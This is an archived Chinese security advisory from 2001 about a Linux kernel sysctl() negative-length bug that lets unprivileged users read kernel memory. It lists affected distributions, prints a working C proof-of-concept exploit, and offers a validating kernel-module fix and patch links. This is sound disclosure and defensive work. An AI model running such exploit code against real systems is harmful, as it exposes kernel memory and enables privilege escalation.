xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Linux sysctl() 存在内核内存可读漏洞


发布时间:2001-02-16
更新时间:2001-02-16
严重程度:
威胁程度:权限提升
错误类型:设计错误
利用方式:服务器模式

受影响系统
受影响系统:

Linux kernel 2.2.18 and previous
   + Wirex Immunix OS 6.2
   + Slackware Linux 7.1
   + Slackware Linux 7.0
   + Slackware Linux 4.0
   + S.u.S.E. Linux 7.0
   + S.u.S.E. Linux 6.4ppc
   + S.u.S.E. Linux 6.4alpha
   + S.u.S.E. Linux 6.4
   + S.u.S.E. Linux 6.3 ppc
   + S.u.S.E. Linux 6.3 alpha
   + S.u.S.E. Linux 6.3
   + S.u.S.E. Linux 6.1 alpha
   + S.u.S.E. Linux 6.1
   + S.u.S.E. Linux 6.0
   + RedHat Linux 7.0 sparc
   + RedHat Linux 7.0 i386
   + RedHat Linux 7.0 alpha
   + RedHat Linux 6.2 sparc
   + RedHat Linux 6.2 i386
   + RedHat Linux 6.2 alpha
   + RedHat Linux 6.1 sparc
   + RedHat Linux 6.1 i386
   + RedHat Linux 6.1 alpha
   + RedHat Linux 6.0 sparc
   + RedHat Linux 6.0 i386
   + RedHat Linux 6.0 alpha
   + MandrakeSoft Linux Mandrake 7.2
   + MandrakeSoft Linux Mandrake 7.1
   + MandrakeSoft Linux Mandrake 7.0
   + MandrakeSoft Linux Mandrake 6.1
   + MandrakeSoft Linux Mandrake 6.0
   + Debian Linux 2.2 sparc
   + Debian Linux 2.2 powerpc
   + Debian Linux 2.2 arm
   + Debian Linux 2.2 alpha
   + Debian Linux 2.2 68k
   + Debian Linux 2.2
   + Connectiva Linux 6.0
   + Connectiva Linux 5.1
   + Connectiva Linux 5.0
   + Connectiva Linux 4.2
   + Connectiva Linux 4.1
   + Connectiva Linux 4.0es
   + Connectiva Linux 4.0
   + Connectiva Linux graficas
   + Connectiva Linux ecommerce
   + Caldera eServer 2.3.1
   + Caldera eDesktop 2.4
   + Caldera OpenLinux 2.4
详细描述
LINUX内核在一个问题会引起ROOT级的危害,sysctl()调用允许一有特权的程序去读和写内核参数,但存在这样的可能:权利不够的程序也可以使用这个系统调用在内核中查询值。系统调用接受有符号的值,所以允许提供负值去获取最开始内存以下的设置和内容。导致用户浏览内核空间地址,或者提升权利。

测试代码
/* sysctl_exp.c - Chris Evans - February 9, 2001 */

/* Excuse the lack of error checking */
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <linux/unistd.h>
#include <linux/sysctl.h>
_syscall1(int, _sysctl, struct __sysctl_args *, args);

#define BUFLEN 1000000

int
main(int argc, const char* argv[])
{
  struct __sysctl_args args_of_great_doom;

  int names[2] = { CTL_KERN, KERN_NODENAME };
  /* Minus 2 billion - somewhere close to biggest negative int */
  int dodgy_len = -2000000000;
  int fd;
  char* p_buf;

  fd = open("/dev/zero", O_RDWR);
  p_buf = mmap((void*)8192, BUFLEN, PROT_READ | PROT_WRITE,
               MAP_FIXED | MAP_PRIVATE, fd, 0);

  memset(p_buf, '\0', BUFLEN);
  fd = open("before", O_CREAT | O_TRUNC | O_WRONLY, 0777);
  write(fd, p_buf, BUFLEN);

  args_of_great_doom.name = names;
  args_of_great_doom.nlen = 2;
  args_of_great_doom.oldval = p_buf;
  args_of_great_doom.oldlenp = &dodgy_len;
  args_of_great_doom.newval = 0;
  args_of_great_doom.newlen = 0;

  _sysctl(&args_of_great_doom);

  fd = open("after", O_CREAT | O_TRUNC | O_WRONLY, 0777);
  write(fd, p_buf, BUFLEN);
}

解决方案
解决方法:
    升级程序:
下面的内核模块有Stephen White <swhite@ox.compsoc.net>提供
/* Stephen White 10/2/2001
swhite@ox.compsoc.net

sysctl_fix.c, compile:
gcc -Wall -DMODULE -D__KERNEL__ -c sysctl_fix.c

(on Redhat/UltraSparc with
sparc64-linux-gcc -m64 -mno-fpu -mcmodel=medlow -mcpu=ultrasparc
-ffixed-g4 -fcall-used-g5 -fcall-used-g7 -Wall -DMODULE -D__KERNEL__
-c sysctl_fix.c )

Prevent sysctl exploit discovered by Chris Evans by properly validating
input against negative numbers,

*/

#include <linux/kernel.h>
#include <linux/config.h>

#include <linux/module.h>
#include <linux/version.h>

#include <linux/types.h>
#include <linux/errno.h>
#include <linux/sched.h>
#include <sys/syscall.h>
#include <linux/linkage.h>

#include <asm/uaccess.h>

#include <linux/sysctl.h>

extern void *sys_call_table[];

int (*old_sysctl)(struct __sysctl_args *args);

asmlinkage int validate_sysctl(struct __sysctl_args *args)
{
struct __sysctl_args tmp;

if(copy_from_user(&tmp, args, sizeof(tmp)))
return -EFAULT;

if (tmp.nlen < 0) goto bad;

if (tmp.oldval) {
int old_len;
if (copy_from_user(&old_len, tmp.oldlenp, sizeof(old_len)))
return -EFAULT;
if (old_len < 0) goto bad;
}

if (tmp.newval)
if (tmp.newlen < 0) goto bad;

return (*old_sysctl)(args);

bad:
printk("sysctl: arguments failed sanity check for user %i\n",current->uid);
return -EINVAL;
}

int init_module()
{
old_sysctl = sys_call_table[__NR__sysctl];
sys_call_table[__NR__sysctl] = validate_sysctl;

return 0;
}

void cleanup_module()
{
sys_call_table[__NR__sysctl] = old_sysctl;
}

另外存在升级程序:

Linux kernel 2.2.18 and previous:

Red Hat Inc. RPM 6.x sparc kernel-smp-2.2.17-14.sparc64.rpm
ftp://updates.redhat.com/6.2/sparc64/kernel-smp-2.2.17-14.sparc64.rpm

Red Hat Inc. RPM 6.x i586 kernel-2.2.17-14.i586.rpm
ftp://updates.redhat.com/6.2/i586/kernel-2.2.17-14.i586.rpm

Red Hat Inc. RPM 7.0 alpha kernel-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/7.0/alpha/kernel-2.2.17-14.alpha.rpm

Red Hat Inc. RPM 7.0 i386 kernel-pcmcia-cs-2.2.17-14.i386.rpm
ftp://updates.redhat.com/7.0/i386/kernel-pcmcia-cs-2.2.17-14.i386.rpm

Red Hat Inc. RPM 6.x alpha kernel-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/kernel-2.2.17-14.alpha.rpm

Red Hat Inc. RPM 6.x alpha kernel-BOOT-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/kernel-BOOT-2.2.17-14.alpha.rpm

Red Hat Inc. RPM 6.x alpha kernel-doc-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/kernel-doc-2.2.17-14.alpha.rpm

Red Hat Inc. RPM 6.x alpha kernel-enterprise-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/kernel-enterprise-2.2.17-14.alpha.rpm

Red Hat Inc. RPM 6.x alpha kernel-headers-2.2.16-3.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/kernel-headers-2.2.16-3.alpha.rpm

Red Hat Inc. RPM 6.x alpha kernel-smp-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/kernel-smp-2.2.17-14.alpha.rpm

Red Hat Inc. RPM 6.x alpha kernel-source-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/kernel-source-2.2.17-14.alpha.rpm

Red Hat Inc. RPM 6.x alpha kernel-utils-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/kernel-utils-2.2.17-14.alpha.rpm

Red Hat Inc. RPM 6.x i386 kernel-2.2.17-14.i386.rpm
ftp://updates.redhat.com/6.2/i386/kernel-2.2.17-14.i386.rpm

Red Hat Inc. RPM 6.x i386 kernel-BOOT-2.2.17-14.i386.rpm
ftp://updates.redhat.com/6.2/i386/kernel-BOOT-2.2.17-14.i386.rpm

Red Hat Inc. RPM 6.x i386 kernel-doc-2.2.17-14.i386.rpm
ftp://updates.redhat.com/6.2/i386/kernel-doc-2.2.17-14.i386.rpm

Red Hat Inc. RPM 6.x i386 kernel-headers-2.2.16-3.i386.rpm
ftp://updates.redhat.com/6.2/i386/kernel-headers-2.2.16-3.i386.rpm

Red Hat Inc. RPM 6.x i386 kernel-ibcs-2.2.17-14.i386.rpm
ftp://updates.redhat.com/6.2/i386/kernel-ibcs-2.2.17-14.i386.rpm

Red Hat Inc. RPM 6.x i386 kernel-pcmcia-cs-2.2.17-14.i386.rpm
ftp://updates.redhat.com/6.2/i386/kernel-pcmcia-cs-2.2.17-14.i386.rpm

Red Hat Inc. RPM 6.x i386 kernel-smp-2.2.17-14.i386.rpm
ftp://updates.redhat.com/6.2/i386/kernel-smp-2.2.17-14.i386.rpm

Red Hat Inc. RPM 6.x i386 kernel-source-2.2.17-14.i386.rpm
ftp://updates.redhat.com/6.2/i386/kernel-source-2.2.17-14.i386.rpm

Red Hat Inc. RPM 6.x i386 kernel-utils-2.2.17-14.i386.rpm
ftp://updates.redhat.com/6.2/i386/kernel-utils-2.2.17-14.i386.rpm

Red Hat Inc. RPM 6.x i586 kernel-smp-2.2.17-14.i586.rpm
ftp://updates.redhat.com/6.2/i586/kernel-smp-2.2.17-14.i586.rpm

Red Hat Inc. RPM 6.x i686 kernel-2.2.17-14.i686.rpm
ftp://updates.redhat.com/6.2/i686/kernel-2.2.17-14.i686.rpm

Red Hat Inc. RPM 6.x i686 kernel-enterprise-2.2.17-14.i686.rpm
ftp://updates.redhat.com/6.2/i686/kernel-enterprise-2.2.17-14.i686.rpm

Red Hat Inc. RPM 6.x i686 kernel-smp-2.2.17-14.i686.rpm
ftp://updates.redhat.com/6.2/i686/kernel-smp-2.2.17-14.i686.rpm

Red Hat Inc. RPM 6.x sparc kernel-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-2.2.17-14.sparc.rpm

Red Hat Inc. RPM 6.x sparc kernel-BOOT-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-BOOT-2.2.17-14.sparc.rpm

Red Hat Inc. RPM 6.x sparc kernel-BOOT-2.2.17-14.sparc64.rpm
ftp://updates.redhat.com/6.2/sparc64/kernel-BOOT-2.2.17-14.sparc64.rpm

Red Hat Inc. RPM 6.x sparc kernel-doc-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-doc-2.2.17-14.sparc.rpm

Red Hat Inc. RPM 6.x sparc kernel-enterprise-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-enterprise-2.2.17-14.sparc.rpm

Red Hat Inc. RPM 6.x sparc kernel-enterprise-2.2.17-14.sparc64.rpm
ftp://updates.redhat.com/6.2/sparc64/kernel-enterprise-2.2.17-14.sparc64.rpm

Red Hat Inc. RPM 6.x sparc kernel-headers-2.2.16-3.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-headers-2.2.16-3.sparc.rpm

Red Hat Inc. RPM 6.x sparc kernel-smp-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-smp-2.2.17-14.sparc.rpm

Red Hat Inc. RPM 6.x sparc kernel-source-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-source-2.2.17-14.sparc.rpm

Red Hat Inc. RPM 6.x sparc kernel-utils-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-utils-2.2.17-14.sparc.rpm

Red Hat Inc. RPM 6.x sparc64 kernel-2.2.17-14.sparc64.rpm
ftp://updates.redhat.com/6.2/sparc64/kernel-2.2.17-14.sparc64.rpm

Red Hat Inc. RPM 7.0 alpha kernel-BOOT-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/7.0/alpha/kernel-BOOT-2.2.17-14.alpha.rpm

Red Hat Inc. RPM 7.0 alpha kernel-doc-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/7.0/alpha/kernel-doc-2.2.17-14.alpha.rpm

Red Hat Inc. RPM 7.0 alpha kernel-enterprise-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/7.0/alpha/kernel-enterprise-2.2.17-14.alpha.rpm

Red Hat Inc. RPM 7.0 alpha kernel-smp-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/7.0/alpha/kernel-smp-2.2.17-14.alpha.rpm

Red Hat Inc. RPM 7.0 alpha kernel-source-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/7.0/alpha/kernel-source-2.2.17-14.alpha.rpm

Red Hat Inc. RPM 7.0 alpha kernel-utils-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/7.0/alpha/kernel-utils-2.2.17-14.alpha.rpm

Red Hat Inc. RPM 7.0 i386 kernel-2.2.17-14.i386.rpm
ftp://updates.redhat.com/7.0/i386/kernel-2.2.17-14.i386.rpm

Red Hat Inc. RPM 7.0 i386 kernel-BOOT-2.2.17-14.i386.rpm
ftp://updates.redhat.com/7.0/i386/kernel-BOOT-2.2.17-14.i386.rpm

Red Hat Inc. RPM 7.0 i386 kernel-doc-2.2.17-14.i386.rpm
ftp://updates.redhat.com/7.0/i386/kernel-doc-2.2.17-14.i386.rpm

Red Hat Inc. RPM 7.0 i386 kernel-ibcs-2.2.17-14.i386.rpm
ftp://updates.redhat.com/7.0/i386/kernel-ibcs-2.2.17-14.i386.rpm

Red Hat Inc. RPM 7.0 i386 kernel-smp-2.2.17-14.i386.rpm
ftp://updates.redhat.com/7.0/i386/kernel-smp-2.2.17-14.i386.rpm

Red Hat Inc. RPM 7.0 i386 kernel-source-2.2.17-14.i386.rpm
ftp://updates.redhat.com/7.0/i386/kernel-source-2.2.17-14.i386.rpm

Red Hat Inc. RPM 7.0 i386 kernel-utils-2.2.17-14.i386.rpm
ftp://updates.redhat.com/7.0/i386/kernel-utils-2.2.17-14.i386.rpm

Red Hat Inc. RPM 7.0 i586 kernel-2.2.17-14.i586.rpm
ftp://updates.redhat.com/7.0/i586/kernel-2.2.17-14.i586.rpm

Red Hat Inc. RPM 7.0 i586 kernel-smp-2.2.17-14.i586.rpm
ftp://updates.redhat.com/7.0/i586/kernel-smp-2.2.17-14.i586.rpm

Red Hat Inc. RPM 7.0 i686 kernel-2.2.17-14.i686.rpm
ftp://updates.redhat.com/7.0/i686/kernel-2.2.17-14.i686.rpm

Red Hat Inc. RPM 7.0 i686 kernel-enterprise-2.2.17-14.i686.rpm
ftp://updates.redhat.com/7.0/i686/kernel-enterprise-2.2.17-14.i686.rpm

Red Hat Inc. RPM 7.0 i686 kernel-smp-2.2.17-14.i686.rpm
ftp://updates.redhat.com/7.0/i686/kernel-smp-2.2.17-14.i686.rpm

Solar Designer patch 2.2.18-ow4
http://www.openwall.com/linux/

Solar Designer patch 2.0.39-ow2
http://www.openwall.com/linux/

相关信息